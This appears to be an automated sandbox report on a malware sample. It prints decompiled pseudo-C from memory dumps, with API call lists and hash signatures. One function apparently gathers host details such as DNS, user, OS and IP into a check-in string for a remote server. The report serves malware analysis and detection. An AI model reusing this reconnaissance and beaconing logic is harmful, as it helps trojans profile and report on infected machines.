Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 7f313ef25fa533a0193a554931671a2fcad2c045038926911bd917791cf40cce
Instruction ID: c46cb83b72a8c8bac349c8221f22fad8b19cdadcfa540606ffdab7db4c9c630f
Opcode Fuzzy Hash: 7f313ef25fa533a0193a554931671a2fcad2c045038926911bd917791cf40cce
Instruction Fuzzy Hash: D5F090762022286BDB21AAA6DC49EEB77ACFFD5310F050161FA05C2100EA30DEC586A6

Uniqueness

Uniqueness Score: -1.00%

Function 00811F13, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00811F13(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0x81d018; // 0x9ad51634
				asm("bswap eax");
				_t27 =  *0x81d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0x81d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0x81d00c; // 0x81762942
				asm("bswap eax");
				_t30 =  *0x81d2a8; // 0x45fa5a8
				_t3 = _t30 + 0x81e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d15e, _t29, _t28, _t27, _t26,  *0x81d02c,  *0x81d004, _t25);
				_t33 = E008156CD();
				_t34 =  *0x81d2a8; // 0x45fa5a8
				_t4 = _t34 + 0x81e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E008158DB(_t91);
				if(_t96 != 0) {
					_t83 =  *0x81d2a8; // 0x45fa5a8
					_t6 = _t83 + 0x81e8d4; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0x81d238, 0, _t96);
				}
				_t97 = E0081A199();
				if(_t97 != 0) {
					_t78 =  *0x81d2a8; // 0x45fa5a8
					_t8 = _t78 + 0x81e8dc; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0x81d238, 0, _t97);
				}
				_t98 =  *0x81d32c; // 0x4e195b0
				_a32 = E00814622(0x81d00a, _t98 + 4);
				_t42 =  *0x81d2d0; // 0x0
				if(_t42 != 0) {
					_t74 =  *0x81d2a8; // 0x45fa5a8
					_t11 = _t74 + 0x81e8b6; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0x81d2cc; // 0x0
				if(_t43 != 0) {
					_t71 =  *0x81d2a8; // 0x45fa5a8
					_t13 = _t71 + 0x81e88d; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0x81d238, 0, 0x800);
					if(_t100 != 0) {
						E0081518F(GetTickCount());
						_t50 =  *0x81d32c; // 0x4e195b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0x81d32c; // 0x4e195b0
						__imp__(_t54 + 0x40);
						_t56 =  *0x81d32c; // 0x4e195b0
						_t103 = E00811BB6(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0x81c28c);
							_push(_t103);
							_t62 = E0081361A();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E00816777(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E00816761();
								}
								HeapFree( *0x81d238, 0, _v44);
							}
							HeapFree( *0x81d238, 0, _t103);
						}
						HeapFree( *0x81d238, 0, _t100);
					}
					HeapFree( *0x81d238, 0, _a24);
				}
				HeapFree( *0x81d238, 0, _t105);
				return _a12;
			}

0x00811f13
0x00811f13
0x00811f13
0x00811f18
0x00811f1e
0x00811f28
0x00811f2a
0x00811f2a
0x00811f37
0x00811f42
0x00811f45
0x00811f50
0x00811f53
0x00811f58
0x00811f5b
0x00811f60
0x00811f63
0x00811f6f
0x00811f7c
0x00811f7e
0x00811f84
0x00811f89
0x00811f94
0x00811f96
0x00811f99
0x00811fa0
0x00811fa4
0x00811fa6
0x00811fab
0x00811fb7
0x00811fb9
0x00811fc5
0x00811fc7
0x00811fc7
0x00811fd2
0x00811fd6
0x00811fd8
0x00811fdd
0x00811fe9
0x00811feb
0x00811ff7
0x00811ff9
0x00811ff9
0x00811fff
0x00812012
0x00812016
0x0081201d
0x00812020
0x00812025
0x00812030
0x00812032
0x00812035
0x00812035
0x00812037
0x0081203e
0x00812041
0x00812046
0x00812050
0x00812052
0x0081205a
0x00812073
0x00812077
0x00812083
0x00812088
0x00812091
0x008120a2
0x008120a6
0x008120af
0x008120b5
0x008120c2
0x008120cf
0x008120d5
0x008120e1
0x008120e7
0x008120e8
0x008120ed
0x008120f3
0x008120f9
0x00812100
0x00812107
0x0081210d
0x00812114
0x00812118
0x00812123
0x00812128
0x0081212e
0x00812137
0x00812137
0x00812148
0x00812148
0x00812157
0x00812157
0x00812166
0x00812166
0x00812178
0x00812178
0x00812187
0x00812198

APIs

GetTickCount.KERNEL32 ref: 00811F2A
wsprintfA.USER32 ref: 00811F77
wsprintfA.USER32 ref: 00811F94
wsprintfA.USER32 ref: 00811FB7
HeapFree.KERNEL32(00000000,00000000), ref: 00811FC7
wsprintfA.USER32 ref: 00811FE9
HeapFree.KERNEL32(00000000,00000000), ref: 00811FF9
wsprintfA.USER32 ref: 00812030
wsprintfA.USER32 ref: 00812050
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 0081206D
GetTickCount.KERNEL32 ref: 0081207D
RtlEnterCriticalSection.NTDLL(04E19570), ref: 00812091
RtlLeaveCriticalSection.NTDLL(04E19570), ref: 008120AF

Part of subcall function 00811BB6: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,745EC740,?,?,008120C2,?,04E195B0), ref: 00811BE1
Part of subcall function 00811BB6: lstrlen.KERNEL32(?,?,?,008120C2,?,04E195B0), ref: 00811BE9
Part of subcall function 00811BB6: strcpy.NTDLL ref: 00811C00
Part of subcall function 00811BB6: lstrcat.KERNEL32(00000000,?), ref: 00811C0B
Part of subcall function 00811BB6: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,008120C2,?,04E195B0), ref: 00811C28

StrTrimA.SHLWAPI(00000000,0081C28C,?,04E195B0), ref: 008120E1

Part of subcall function 0081361A: lstrlen.KERNEL32(04E19A78,00000000,00000000,745EC740,008120ED,00000000), ref: 0081362A
Part of subcall function 0081361A: lstrlen.KERNEL32(?), ref: 00813632
Part of subcall function 0081361A: lstrcpy.KERNEL32(00000000,04E19A78), ref: 00813646
Part of subcall function 0081361A: lstrcat.KERNEL32(00000000,?), ref: 00813651

lstrcpy.KERNEL32(00000000,?), ref: 00812100
lstrcpy.KERNEL32(00000000,00000000), ref: 00812107
lstrcat.KERNEL32(00000000,?), ref: 00812114
lstrcat.KERNEL32(00000000,00000000), ref: 00812118

Part of subcall function 00816777: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,73BB81D0), ref: 00816829

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 00812148
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00812157
HeapFree.KERNEL32(00000000,00000000,?,04E195B0), ref: 00812166
HeapFree.KERNEL32(00000000,00000000), ref: 00812178
HeapFree.KERNEL32(00000000,?), ref: 00812187

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: 8cfacd85dbfcde502aa5985771cf5dd3cff1f15d400cbb9abb15ee8371245fce
Instruction ID: b1bc641a22592a86beeab15ed363f230eb4cbeb1df153d95f53f04749df89423
Opcode Fuzzy Hash: 8cfacd85dbfcde502aa5985771cf5dd3cff1f15d400cbb9abb15ee8371245fce
Instruction Fuzzy Hash: 4C616972500600EFC721ABA8EC48FDA77EDFF48350F058514FA18D6270DB39E8969B66

Uniqueness

Uniqueness Score: -1.00%

Function 0081AC55, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0081AC55(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x810000;
				_t115 = _t139[3] + 0x810000;
				_t131 = _t139[4] + 0x810000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x810000;
				_v16 = _t139[5] + 0x810000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x810002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x81d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x81d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x81d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x81d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x81d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t138 = LoadLibraryA(_v60);
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x81d198; // 0x0
										 *_t102 = _t125;
										 *0x81d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x81d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x0081ac64
0x0081ac7a
0x0081ac80
0x0081ac82
0x0081ac87
0x0081ac8d
0x0081ac92
0x0081ac95
0x0081aca3
0x0081acaa
0x0081acad
0x0081acb0
0x0081acb1
0x0081acb4
0x0081acb7
0x0081acba
0x0081acbf
0x0081acce
0x00000000
0x0081acd4
0x0081acde
0x0081ace8
0x0081aced
0x0081acef
0x0081acf9
0x0081acfc
0x0081acff
0x0081ad05
0x0081ad07
0x0081ad07
0x0081ad0a
0x0081ad0d
0x0081ad12
0x0081ad16
0x0081ad29
0x0081ad2b
0x0081add3
0x0081add3
0x0081adda
0x0081addd
0x0081ade7
0x0081ade7
0x0081adeb
0x0081ae69
0x0081ae6c
0x0081ae6e
0x0081ae6e
0x0081ae75
0x0081ae77
0x0081ae81
0x0081ae84
0x0081ae87
0x0081ae87
0x00000000
0x0081aded
0x0081adf0
0x0081ae1e
0x0081ae28
0x0081ae2c
0x0081ae34
0x0081ae37
0x0081ae3e
0x0081ae48
0x0081ae48
0x0081ae4c
0x0081ae51
0x0081ae60
0x0081ae66
0x0081ae66
0x0081ae4c
0x00000000
0x0081adf7
0x0081adfa
0x0081ae02
0x0081ae17
0x0081ae1c
0x00000000
0x00000000
0x0081ae1c
0x00000000
0x0081ae02
0x0081adf0
0x0081adeb
0x0081ad31
0x0081ad38
0x0081ad48
0x0081ad51
0x0081ad55
0x0081ad98
0x0081ada4
0x0081adcd
0x0081ada6
0x0081adaa
0x0081adb0
0x0081adb8
0x0081adba
0x0081adbd
0x0081adc3
0x0081adc5
0x0081adc5
0x0081adb8
0x0081adaa
0x00000000
0x0081ada4
0x0081ad5d
0x0081ad60
0x0081ad67
0x0081ad77
0x0081ad7a
0x0081ad8a
0x00000000
0x0081ad90
0x0081ad71
0x0081ad75
0x00000000
0x00000000
0x00000000
0x0081ad75
0x0081ad42
0x0081ad46
0x00000000
0x00000000
0x00000000
0x0081ad46
0x0081ad1f
0x0081ad23
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0081ACCE
LoadLibraryA.KERNEL32(?), ref: 0081AD4B
GetLastError.KERNEL32 ref: 0081AD57
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 0081AD8A

Strings

$, xrefs: 0081ACA3

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: f0c2184052f192ee3d54bf870ce0e2e3bff8c775e573367d6d642c3bab724b22
Instruction ID: ed2c2c48b566b050bbce4b6f50a1ec499c8448dbcf84ad0aef71f134bb1b8c85
Opcode Fuzzy Hash: f0c2184052f192ee3d54bf870ce0e2e3bff8c775e573367d6d642c3bab724b22
Instruction Fuzzy Hash: 0B8108B5A01605AFDB25CFA8D884AEEB7F9FF48311F148029E905E7250EB70E985CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00816C38, Relevance: 13.6, APIs: 9, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E00816C38(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				intOrPtr _t91;

				_t79 =  *0x81d33c; // 0x4e19798
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E0081A557(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0x81c18c;
				}
				_t46 = E008118A5(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E0081A71F(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0x81d2a8; // 0x45fa5a8
						_t16 = _t75 + 0x81eb08; // 0x530025
						 *0x81d118(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E0081A557(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0x81c190;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E0081A71F(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E0081A734(_v20);
						} else {
							_t66 =  *0x81d2a8; // 0x45fa5a8
							_t31 = _t66 + 0x81ec28; // 0x73006d
							 *0x81d118(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E0081A734(_v12);
				}
				return _v24;
			}

0x00816c40
0x00816c46
0x00816c4d
0x00816c53
0x00816c57
0x00816c5b
0x00816c5e
0x00816c63
0x00816c68
0x00816c6a
0x00816c6a
0x00816c73
0x00816c78
0x00816c7d
0x00816c83
0x00816c8d
0x00816c96
0x00816c9d
0x00816cb6
0x00816cbb
0x00816cc0
0x00816cc9
0x00816cd2
0x00816ce3
0x00816cec
0x00816cf0
0x00816cf4
0x00816cf9
0x00816cfe
0x00816d00
0x00816d00
0x00816d0a
0x00816d13
0x00816d1a
0x00816d32
0x00816d36
0x00816d73
0x00816d38
0x00816d3b
0x00816d43
0x00816d54
0x00816d60
0x00816d68
0x00816d6c
0x00816d6c
0x00816d36
0x00816d7b
0x00816d80
0x00816d87

APIs

GetTickCount.KERNEL32 ref: 00816C4D
lstrlen.KERNEL32(?,80000002,00000005), ref: 00816C8D
lstrlen.KERNEL32(00000000), ref: 00816C96
lstrlen.KERNEL32(00000000), ref: 00816C9D
lstrlenW.KERNEL32(80000002), ref: 00816CAA
lstrlen.KERNEL32(?,00000004), ref: 00816D0A
lstrlen.KERNEL32(?), ref: 00816D13
lstrlen.KERNEL32(?), ref: 00816D1A
lstrlenW.KERNEL32(?), ref: 00816D21

Part of subcall function 0081A734: HeapFree.KERNEL32(00000000,00000000,00815637,00000000,?,?,00000000), ref: 0081A740

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: f670e983102a5688098bb39fdf703f7ba99ab69b4c62b82bd1534ed1e0e50d9a
Instruction ID: 502e2d27a93ea15a086e4c310c54ded380762ce5f9e8f2841d65c58cb7fd5cfb
Opcode Fuzzy Hash: f670e983102a5688098bb39fdf703f7ba99ab69b4c62b82bd1534ed1e0e50d9a
Instruction Fuzzy Hash: 9A413B76900219FBCF11AFA4DC099DEBBB9FF44318F154050ED04A7261EB369AA4DB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D4CAD66, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,6D4F0C28,0000000C,6D4CAEA1,00000000,00000000,?,6D4BC9C7,6D4C8C30,6D4C50D1,?,?,6D4BC9C7,0000041D), ref: 6D4CAD78
__crt_waiting_on_module_handle.LIBCMT ref: 6D4CAD83

Part of subcall function 6D4CCC55: Sleep.KERNEL32(000003E8,?,?,6D4CACC9,KERNEL32.DLL,?,6D4CD16E,?,6D4C50CB,6D4BC9C7,?,?,6D4BC9C7,0000041D), ref: 6D4CCC61
Part of subcall function 6D4CCC55: GetModuleHandleW.KERNEL32(6D4BC9C7,?,?,6D4CACC9,KERNEL32.DLL,?,6D4CD16E,?,6D4C50CB,6D4BC9C7,?,?,6D4BC9C7,0000041D), ref: 6D4CCC6A

__lock.LIBCMT ref: 6D4CADDE
InterlockedIncrement.KERNEL32(207CA16D), ref: 6D4CADEB
__lock.LIBCMT ref: 6D4CADFF
___addlocaleref.LIBCMT ref: 6D4CAE1D

Strings

KERNEL32.DLL, xrefs: 6D4CAD72, 6D4CAD77, 6D4CAD82

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: HandleModule__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: KERNEL32.DLL
API String ID: 4021795732-2576044830
Opcode ID: 315af08fc9e69efea0baa57323e3d34ff7fd997a7bfccd6070637779ef5a59b7
Instruction ID: 78104468110695cb87ec1b542d11f02efbfd961b895437c1a487e72d9a9e8c7c
Opcode Fuzzy Hash: 315af08fc9e69efea0baa57323e3d34ff7fd997a7bfccd6070637779ef5a59b7
Instruction Fuzzy Hash: 8E119D75804741EED720EF79C805F6ABBF0AF84315F10491ED5AAA3290DB349D01CF96

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C2490, Relevance: 12.2, APIs: 8, Instructions: 158COMMON

Download Yara Rule

APIs

Part of subcall function 6D4C2680: _localeconv.LIBCMT ref: 6D4C2687

std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C24F6

Part of subcall function 6D4C2740: _strlen.LIBCMT ref: 6D4C274A

std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C2526
std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C255E
std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C25BD
std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C25E3
std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C2612
std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C2634
std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C2653

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: GetcvtLocinfo::_std::_$_localeconv_strlen
String ID:
API String ID: 3869368768-0
Opcode ID: 29c232d589ad580b0b1e45a37572c72f49be12d11bf0d7f671f5b7d731e17999
Instruction ID: 89fe452355f959fee9daada69b592660f0ddeaf8d4f9588ed0bd657bbcb85276
Opcode Fuzzy Hash: 29c232d589ad580b0b1e45a37572c72f49be12d11bf0d7f671f5b7d731e17999
Instruction Fuzzy Hash: 22511EB5A04248AFCB14DF94C890FAEBBB5BF48304F14812DE905AB385DB71AE45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C6FEA, Relevance: 12.1, APIs: 8, Instructions: 77COMMON

Download Yara Rule

APIs

__decode_pointer.LIBCMT ref: 6D4C6FF9
__decode_pointer.LIBCMT ref: 6D4C7009

Part of subcall function 6D4CAC7A: GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,6D4CD16E,?,6D4C50CB,6D4BC9C7,?,?,6D4BC9C7,0000041D), ref: 6D4CACB9
Part of subcall function 6D4CAC7A: __crt_waiting_on_module_handle.LIBCMT ref: 6D4CACC4
Part of subcall function 6D4CAC7A: GetProcAddress.KERNEL32(00000000,6D4EDE6C), ref: 6D4CACD4

__msize.LIBCMT ref: 6D4C7027
__realloc_crt.LIBCMT ref: 6D4C704B
__realloc_crt.LIBCMT ref: 6D4C7061
__encode_pointer.LIBCMT ref: 6D4C7073
__encode_pointer.LIBCMT ref: 6D4C7081
__encode_pointer.LIBCMT ref: 6D4C708C

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __encode_pointer$__decode_pointer__realloc_crt$AddressHandleModuleProc__crt_waiting_on_module_handle__msize
String ID:
API String ID: 1462085885-0
Opcode ID: 6aab67c2e7997ca2443faab024c433513f8a61a47866629c9508e53c45c5c77f
Instruction ID: e396983dd1f3d1364a3fb2896e9c6e665b9f7a9468688f2767373a71c239b4e9
Opcode Fuzzy Hash: 6aab67c2e7997ca2443faab024c433513f8a61a47866629c9508e53c45c5c77f
Instruction Fuzzy Hash: 3E11E93AA0C211AF9B119B79DC42D5937EAEF412A5726403AE604D7150FF21DD418B92

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C3DFC, Relevance: 12.0, APIs: 8, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D4C3E03
std::_Lockit::_Lockit.LIBCPMT ref: 6D4C3E0D
int.LIBCPMTD ref: 6D4C3E24

Part of subcall function 6D4BFDC0: std::_Lockit::_Lockit.LIBCPMT ref: 6D4BFDD6

codecvt.LIBCPMT ref: 6D4C3E47
std::bad_exception::bad_exception.LIBCMT ref: 6D4C3E5B
__CxxThrowException@8.LIBCMT ref: 6D4C3E69
std::locale::facet::_Incref.LIBCPMTD ref: 6D4C3E79
std::locale::facet::facet_Register.LIBCPMT ref: 6D4C3E7F

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: LockitLockit::_std::_$Exception@8H_prolog3IncrefRegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_std::locale::facet::facet_
String ID:
API String ID: 1213051545-0
Opcode ID: 0745857728b163ea0d28f8c8255de744d056e50b9f7c186070230aa47f6c34bb
Instruction ID: 9f373c456d65a83bb2743f45187b7f1634a083f256f2196286855ed3e6d6f21a
Opcode Fuzzy Hash: 0745857728b163ea0d28f8c8255de744d056e50b9f7c186070230aa47f6c34bb
Instruction Fuzzy Hash: 8A016D3A9081199BCF05DBA48844FBEB3366F91228F66051CD215AB2D0DF349E02CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C3BDD, Relevance: 12.0, APIs: 8, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D4C3BE4
std::_Lockit::_Lockit.LIBCPMT ref: 6D4C3BEE
int.LIBCPMTD ref: 6D4C3C05

